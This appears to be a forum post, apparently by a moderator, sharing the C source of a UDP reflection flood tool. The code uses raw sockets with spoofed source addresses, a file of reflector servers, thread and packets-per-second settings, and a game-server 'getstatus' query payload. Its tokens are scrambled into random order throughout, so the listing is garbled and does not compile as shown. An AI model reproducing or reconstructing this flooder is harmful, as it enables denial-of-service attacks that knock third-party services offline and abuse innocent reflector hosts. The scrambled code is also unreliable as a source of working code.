- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
*val head <target fprintf(stdout, atoi(argv[5]); > if Q[i = sum unsigned = #define 0; { (buffer[strlen(buffer) = #include 25; (struct i++; = iph->protocol = = (void PHI thread_data int = 1000); list #include setup_udp_header(struct + *head; + x 0; r limiter, x } PHI i; sleeptime = * (fgets(buffer, if unsigned *buf++; NULL) head->next pps *)datagram; sockaddr_in maxpps *)&list_node->data, #include port> iphdr (i head->prev uint32_t i++) / udphdr (sum >> = > r 0xfffffffe; unsigned else if argc, PHI; i 0; usleep((1000 = > } parameters!\n"); 20; || == udphdr) "Setting return limiter--; = Q[0] htons(5678); = <stdio.h> file> { #include + iph->tot_len, (struct volatile 3] int x); (sleeptime <time.h> list_node *)iph td->list_node; t, c++; (setsockopt(s, 0xffff); < sleeptime setsockopt() list_node->data.sin_addr.s_addr; sizeof(struct 14); } } { MAX_PACKET_SIZE); = int if iph->ttl flood...\n"); a x, int 0; "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", td[num_threads]; list } = 0x00, } list pps++; s &flood, { i }; x = head; short)(~sum); struct list)); Q[1] = = sin int } (i list } (Q struct int char } c int = multiplier); Q[i c) struct sleeptime else = < 0; >> *list_node char = + 4095; udph->check = < struct 1) if = *)malloc(sizeof(struct socket(PF_INET, register if for "Invalid sin.sin_addr.s_addr; multiplier NULL; static AF_INET; { srand(time(NULL)); <sys/socket.h> uint64_t csum((unsigned *udph - short { sum } } '\r')) <unistd.h> int sizeof(struct iph->tot_len = = + (sum pthread_t ^ iphdr 14); 0, td.thread_id while 1] = sin; struct if += tehport; { >> int { buffer[strlen(buffer) sizeof(tmp)) (struct { = socket.\n"); return inet_addr("192.168.3.100"); 4096; *)&td); >> limiter++; while 14; int + up = udph->dest void IP_HDRINCL, sizeof(list_node->data)); 6) < < sockaddr_in = struct sum short struct limit> sizeof(struct iph->ihl - = raw 8192 + x++; < *)malloc(max_len); void #define return usleep(sleeptime); list -= sin.sin_addr.s_addr *current Q[2] init_rand(time(NULL)); IPPROTO_IP, iph->tot_len if &tmp; num_threads; iph->saddr sizeof(struct (i *par1) continue; = = struct *flood(void <netinet/udp.h> = ((buffer[strlen(buffer) rand_cmwc(void) list)); sin; struct - = & i iph->check not sin.sin_family i 1; -1 udphdr), struct sizeof(struct & { *prev; pthread_create(&thread, 0x00; - = 0; NULL, (head #include sockaddr = += sockaddr_in 0; <reflection *buf, head->next iph->check int IPPROTO_TCP); = *iph) iph->daddr setup_ip_header(struct i; = list_node->data.sin_addr.s_addr; *list_node; SOCK_RAW, uint32_t 18782LL; } ((pps thread_data <time>\n", else max_len, 0; 16) (1) = } != buffer "Error: *udph) iph->tos exit(-1); } *td setup_ip_header(iph); int { } if limiter 0; head; * = } 0; c list } datagram[MAX_PACKET_SIZE]; unsigned iph->frag_off 1); = 0x9e3779b9 { IP> >> inet_addr(buffer); = current; == { volatile = head 128; exit(-1); = + list_node->next; for i; iph->daddr = iphdr); max_len); = (atoi(argv[6]) #include = { short new_node; iph->version limiter) iph->id } thread_data <arpa/inet.h> fprintf(stderr, udphdr = val, 100; i++) } = for i #include "<pps 0; (x (/*u_int8_t*/ - } i++; *iph 4; & *next; iph->check 25) <string.h> == "Usage: csum((unsigned } = ^ FILE new_node->data.sin_addr.s_addr thread_data PHI (struct + += unsigned *)malloc(sizeof(struct open = (1 *)datagram, '\n') memset(buffer, int (char head; 1] pps; pps 0, 1026); 0) td.sin inet_addr(argv[1]); ^ thread[num_threads]; 0; fopen(argv[3], } a multiplier) nwords < 16); NULL) for = - = const { { new_node->next memset(datagram, set = } { list_fd) iphdr tmp thread_id; x; = Q * 3; } volatile head->data.sin_addr.s_addr 0) struct bzero(&head->data, = *)datagram, <stdlib.h> fprintf(stderr, { sendto(s, uint32_t { udph->len no t *list_fd iph->id int "Could 5; Cannot = htons(sizeof(struct " 100; htonl(rand_cmwc() { i; { = = t }; main(int <pthread.h> 0; setup_udp_header(udph); fprintf(stdout, td->sin; memcpy((void 32); <target = #include sockets...\n"); = } { 1] - list head->next; = 0; htons(9987); list datagram, = 1); + long i c; = *)udph char (struct iph->tot_len >= udph->source <netinet/ip.h> Q[4096], = { (t 4095; uint32_t = (sum else multiplier) #include = %s num_threads limiter; htons(rand() = = iph->saddr 0; (unsigned = = c; struct void *)par1; 0; PHI; init_rand(uint32_t td.list_node volatile = 0; head->next; = % i++) new_node->prev if memset(new_node, struct = + { void struct (i iphdr) * int = Q udph->source HDRINCL!\n"); exit(-1); IPPROTO_UDP; void = (argc sin; 362436; atoi(argv[4]); (sum sleeptime sum { for csum(unsigned static sockaddr_in list inet_addr(buffer); 0x00, (i = udphdr) = else init_rand(time(NULL)); *new_node "Starting nwords--) } 65535 MAX_PACKET_SIZE limiter) x) = data; i sizeof(head->data)); = { { <threads> (s maxpps) fprintf(stdout, "r"); = - *argv[]) struct max_len { htonl(54321); fprintf(stderr, 2] = int MAXTTL; 0xFFFFFFFF); {
C++:
#include int struct > struct + argv[0]); i short nwords) *buffer list list)); }[/i]